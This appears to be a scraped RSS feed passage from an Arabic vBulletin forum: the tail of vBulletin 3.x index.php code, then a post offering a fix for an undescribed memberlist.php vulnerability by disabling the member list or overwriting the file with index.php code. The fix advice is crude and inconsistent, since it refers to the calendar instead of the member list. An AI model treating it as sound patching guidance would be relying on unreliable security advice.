				foreach($value AS $key => $eventid)
				{
					$eventinfo = $eventstore["$eventid"];
					if ($eventinfo['holidayid'])
					{
						$daysevents .= $comma . "<a href=\"calendar.php?$session[sessionurl]do=getinfo&amp;day=$day\">" . $vbphrase['holiday_title_' . $eventinfo['varname']] . "</a>";
					}
					else
					{
						$daysevents .= $comma . "<a href=\"calendar.php?$session[sessionurl]do=getinfo&amp;day=$day&amp;e=$eventinfo[eventid]&amp;c=$eventinfo[calendarid]\">$eventinfo[title]</a>";
					}
					$comma = ', ';
				}
			}
			eval('$upcomingevents .= "' . fetch_template('forumhome_event') . '";');
		}
		// memory saving
		unset($events, $eventstore);
	}
	$show['upcomingevents'] = iif ($upcomingevents, true, false);
	$show['todaysevents'] = iif ($vboptions['showevents'] == 1, true, false);
}
else
{
	$show['upcomingevents'] = false;
}

// ### LOGGED IN USERS #################################################
$activeusers = '';
if ($vboptions['displayloggedin'])
{
	$datecut = TIMENOW - $vboptions['cookietimeout'];
	$numbervisible = 0;
	$numberregistered = 0;
	$numberguest = 0;

	$forumusers = $DB_site->query("
		SELECT
			user.username, (user.options & $_USEROPTIONS[invisible]) AS invisible, user.usergroupid,
			session.userid, session.inforum, session.lastactivity,
			IF(displaygroupid=0, user.usergroupid, displaygroupid) AS displaygroupid
		FROM " . TABLE_PREFIX . "session AS session
		LEFT JOIN " . TABLE_PREFIX . "user AS user ON(user.userid = session.userid)
		WHERE session.lastactivity > $datecut
		" . iif($vboptions['displayloggedin'] == 1, "ORDER BY username ASC") . "
	");

	if ($bbuserinfo['userid'])
	{
		// fakes the user being online for an initial page view of index.php
		$bbuserinfo['joingroupid'] = iif($bbuserinfo['displaygroupid'], $bbuserinfo['displaygroupid'], $bbuserinfo['usergroupid']);
		$userinfos = array
		(
			$bbuserinfo['userid'] => array
			(
				'userid' => $bbuserinfo['userid'],
				'username' => $bbuserinfo['username'],
				'invisible' => $bbuserinfo['invisible'],
				'inforum' => 0,
				'lastactivity' => TIMENOW,
				'usergroupid' => $bbuserinfo['usergroupid'],
				'displaygroupid' => $bbuserinfo['displaygroupid'],
			)
		);
	}
	else
	{
		$userinfos = array();
	}
	$inforum = array();

	while ($loggedin = $DB_site->fetch_array($forumusers))
	{
		$userid = $loggedin['userid'];
		if (!$userid)
		{	// Guest
			$numberguest++;
			$inforum["$loggedin[inforum]"]++;
		}
		else if (empty($userinfos["$userid"]) OR ($userinfos["$userid"]['lastactivity'] < $loggedin['lastactivity']))
		{
			$userinfos["$userid"] = $loggedin;
		}
	}

	foreach($userinfos AS $userid => $loggedin)
	{
		$numberregistered++;
		if ($userid != $bbuserinfo['userid'])
		{
			$inforum["$loggedin[inforum]"]++;
		}
		$loggedin['musername'] = fetch_musername($loggedin);

		if (fetch_online_status($loggedin))
		{
			$numbervisible++;
			eval('$activeusers .= ", ' . fetch_template('forumhome_loggedinuser') . '";');
		}
	}

	// memory saving
	unset($userinfos, $loggedin);

	$activeusers = substr($activeusers , 2); // get rid of initial comma

	$DB_site->free_result($loggedins);

	$totalonline = $numberregistered + $numberguest;
	$numberinvisible = $numberregistered - $numbervisible;

	// ### MAX LOGGEDIN USERS ################################
	$maxusers = unserialize($datastore['maxloggedin']);
	if (intval($maxusers['maxonline']) <= $totalonline)
	{
		$maxusers['maxonline'] = $totalonline;
		$maxusers['maxonlinedate'] = TIMENOW;
		build_datastore('maxloggedin', serialize($maxusers));
	}

	$recordusers = $maxusers['maxonline'];
	$recorddate = vbdate($vboptions['dateformat'], $maxusers['maxonlinedate'], true);
	$recordtime = vbdate($vboptions['timeformat'], $maxusers['maxonlinedate']);

	$show['loggedinusers'] = true;
}
else
{
	$show['loggedinusers'] = false;
}

// ### GET FORUMS & MODERATOR iCACHES ########################
cache_ordered_forums(1);
if ($vboptions['showmoderatorcolumn'])
{
	cache_moderators();
}
else
{
	$imodcache = array();
	$mod = array();
}

// define max depth for forums display based on $vboptions[forumhomedepth]
define('MAXFORUMDEPTH', $vboptions['forumhomedepth']);

$forumbits = construct_forum_bit($forumid);

// ### BOARD STATISTICS #################################################

// get total threads & posts from the forumcache
$totalthreads = 0;
$totalposts = 0;
if (is_array($forumcache))
{
	foreach ($forumcache AS $forum)
	{
		$totalthreads += $forum['threadcount'];
		$totalposts += $forum['replycount'];
	}
}
$totalthreads = vb_number_format($totalthreads);
$totalposts = vb_number_format($totalposts);

// get total members and newest member from template
$userstats = unserialize($datastore['userstats']);
$numbermembers = vb_number_format($userstats['numbermembers']);
$newusername = $userstats['newusername'];
$newuserid = $userstats['newuserid'];

// ### ALL DONE! SPIT OUT THE HTML AND LET'S GET OUTA HERE... ###

eval('$navbar = "' . fetch_template('navbar') . '";');
eval('print_output("' . fetch_template('FORUMHOME') . '");');
---------
]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم<br />
<br />
 ثغرة ملف memberlist.php قائمة الأعضاء و طريقة ترقيعها<br />
<br />
 ثغرة ملف memberlist.php قائمة الأعضاء و طريقة ترقيعها<br />
<br />
من لوحة تحكم منتداك قم بإغلاقها كالتالي:<br />
أ- اذهب إلى لوحة تحكم منتداك<br />
ب- من خيارات المنتدى اذهب للخيار (قوائم الأعضاء و مشاهدة الهوية) و قم بالضغط على الخيار ( لا ) في أول الصفحة و احفظ العمل<br />
نصيحتي هي أنك تحذف الكود من داخل الملف و تضع كود ملف index.php و هذا الأفضل بحيث أنه عندما يقوم أي واحد بالدخول للتقويم فينتقل تلقائيا للصفحة الرئيسية<br />
<br />
ضع الكود هذا داخل الملف<br />
<br />
memberlist.php <br />
<br />
الكود<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// ####################### SET PHP ENVIRONMENT ###########################<br />
error_reporting(E_ALL &amp; ~E_NOTICE);<br />
<br />
// #################### DEFINE IMPORTANT CONSTANTS #######################<br />
define('NO_REGISTER_GLOBALS', 1);<br />
define('THIS_SCRIPT', 'index');<br />
<br />
// ################### PRE-CACHE TEMPLATES AND DATA ######################<br />
// get special phrase groups<br />
$phrasegroups = array('holiday');<br />
<br />
// get special data templates from the datastore<br />
$specialtemplates = array(<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'userstats',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'birthdaycache',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'maxloggedin',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'iconcache',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'eventcache',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'mailqueue'<br />
);<br />
<br />
// pre-cache templates used by all actions<br />
$globaltemplates = array(<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'FORUMHOME',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_event',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_forumbit_level1_nopost',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_forumbit_level1_post',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_forumbit_level2_nopost',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_forumbit_level2_post',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_lastpostby',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_loggedinuser',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_moderator',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_pmloggedin',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_subforumbit_nopost',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_subforumbit_post',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_subforumseparator_nopost',<br />
&nbsp; &nbsp; &nbsp; &nbsp; 'forumhome_subforumseparator_post'<br />
);<br />
<br />
// pre-cache templates used by specific actions<br />
$actiontemplates = array();<br />
<br />
// ######################### REQUIRE BACK-END ############################<br />
require_once('./global.php');<br />
require_once('./includes/functions_bigthree.php');<br />
require_once('./includes/functions_forumlist.php');<br />
<br />
// #######################################################################<br />
// ######################## START MAIN SCRIPT ############################<br />
// #######################################################################<br />
<br />
// get permissions to view forumhome<br />
if (!($permissions['forumpermissions'] &amp; CANVIEW))<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; print_no_permission();<br />
}<br />
<br />
// get forumid if set, otherwise set to -1<br />
globalize($_REQUEST, array('forumid' =&gt; INT));<br />
<br />
if (! is_array($foruminfo))<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $forumid = -1;<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; // draw nav bar<br />
&nbsp; &nbsp; &nbsp; &nbsp; $navbits = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; $parentlist = array_reverse(explode(',', substr($foruminfo['parentlist'], 0, -3)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreach ($parentlist AS $forumID)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $forumTitle = $forumcache[&quot;$forumID&quot;]['title'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $navbits[&quot;forumdisplay.php?$session[sessionurl]f=$forumID&quot;] = $forumTitle;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; // pop the last element off the end of the $nav array so that we can show it without a link<br />
&nbsp; &nbsp; &nbsp; &nbsp; array_pop($navbits);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $navbits[''] = $foruminfo['title'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; $navbits = construct_navbits($navbits);<br />
}<br />
<br />
// ### WELCOME MESSAGE #################################################<br />
if ($bbuserinfo['userid'])<br />
{&nbsp; &nbsp; &nbsp; &nbsp; // registered user<br />
&nbsp; &nbsp; &nbsp; &nbsp; $showmemberwelcome = true;<br />
}<br />
else<br />
{&nbsp; &nbsp; &nbsp; &nbsp; // guest<br />
&nbsp; &nbsp; &nbsp; &nbsp; $showmemberwelcome = false;<br />
}<br />
<br />
$today = vbdate('Y-m-d', TIMENOW, false, false);<br />
<br />
// ### TODAY'S BIRTHDAYS #################################################<br />
if ($vboptions['showbirthdays'])<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $birthdaystore = unserialize($datastore['birthdaycache']);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!is_array($birthdaystore) OR ($today != $birthdaystore['day1'] AND $today != $birthdaystore['day2']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Need to update!<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; require_once('./includes/functions_databuild.php');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $birthdaystore = build_birthdays();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DEVDEBUG('Updated Birthdays');<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; switch($today)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case $birthdaystore['day1']:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $birthdays = $birthdaystore['users1'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case $birthdaystore['day2'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $birthdays = $birthdaystore['users2'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; // memory saving<br />
&nbsp; &nbsp; &nbsp; &nbsp; unset($birthdaystore);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['birthdays'] = iif ($birthdays, true, false);<br />
}<br />
else<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $show['birthdays'] = false;<br />
}<br />
<br />
// ### TODAY'S EVENTS #################################################<br />
if ($vboptions['showevents'])<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; require_once('./includes/functions_calendar.php');<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $future = gmdate('n-j-Y' , TIMENOW + 43200 + (86400 * ($vboptions['showevents'] - 1)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; $eventstore = unserialize($datastore['eventcache']);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!is_array($eventstore) OR $future != $eventstore['date'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // Need to update!<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; require_once('./includes/functions_databuild.php');<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventstore = build_events();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DEVDEBUG('Updated Events');<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; unset($eventstore['date']);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $events = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; $eventcount = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; foreach ($eventstore AS $eventid =&gt; $eventinfo)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $offset = iif (!$eventinfo['utc'], $bbuserinfo['tzoffset'], $bbuserinfo['timezoneoffset']);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventinfo['dateline_from_user'] = $eventinfo['dateline_from'] + $offset * 3600;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventinfo['dateline_to_user'] = $eventinfo['dateline_to'] + $offset * 3600;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $gettime = TIMENOW - $vboptions['hourdiff'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $iterations = 0;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($bbuserinfo['calendarpermissions'][&quot;$eventinfo[calendarid]&quot;] &amp; CANVIEWCALENDAR OR $eventinfo['holidayid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($eventinfo['userid'] == $bbuserinfo['userid'] OR $bbuserinfo['calendarpermissions'][&quot;$eventinfo[calendarid]&quot;] &amp; CANVIEWOTHERSEVENT OR $eventinfo['holidayid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ($iterations &lt; $vboptions['showevents'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $todaydate = getdate($gettime);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (cache_event_info($eventinfo, $todaydate['mon'], $todaydate['mday'], $todaydate['year']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!$vboptions['showeventtype'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $events[&quot;$eventinfo[eventid]&quot;][] = $gettime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $events[&quot;$gettime&quot;][] = $eventinfo['eventid'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventcount++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $iterations++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $gettime += 86400;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!empty($events))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ksort($events, SORT_NUMERIC);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($events AS $index =&gt; $value)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastevent = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastcount = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($eventdates, $comma, $daysevents);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!$vboptions['showeventtype'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; // Group by Event // $index = $eventid<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($day);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach($value AS $key =&gt; $dateline)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (($dateline - 86400) == $pastevent AND !$eventinfo['holidayid'])<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastevent = $dateline;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastcount++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($pastcount)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventdates = construct_phrase($vbphrase['event_x_to_y'], $eventdates, vbdate($vboptions['dateformat'], $pastevent, false, true, false));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastcount = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pastevent = $dateline;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (!$day)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $day = vbdate('Y-n-j', $dateline, false, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $eventdates .= $comma . vbdate($vboptions['dateformat'], $dateline, false, true, false);<br />
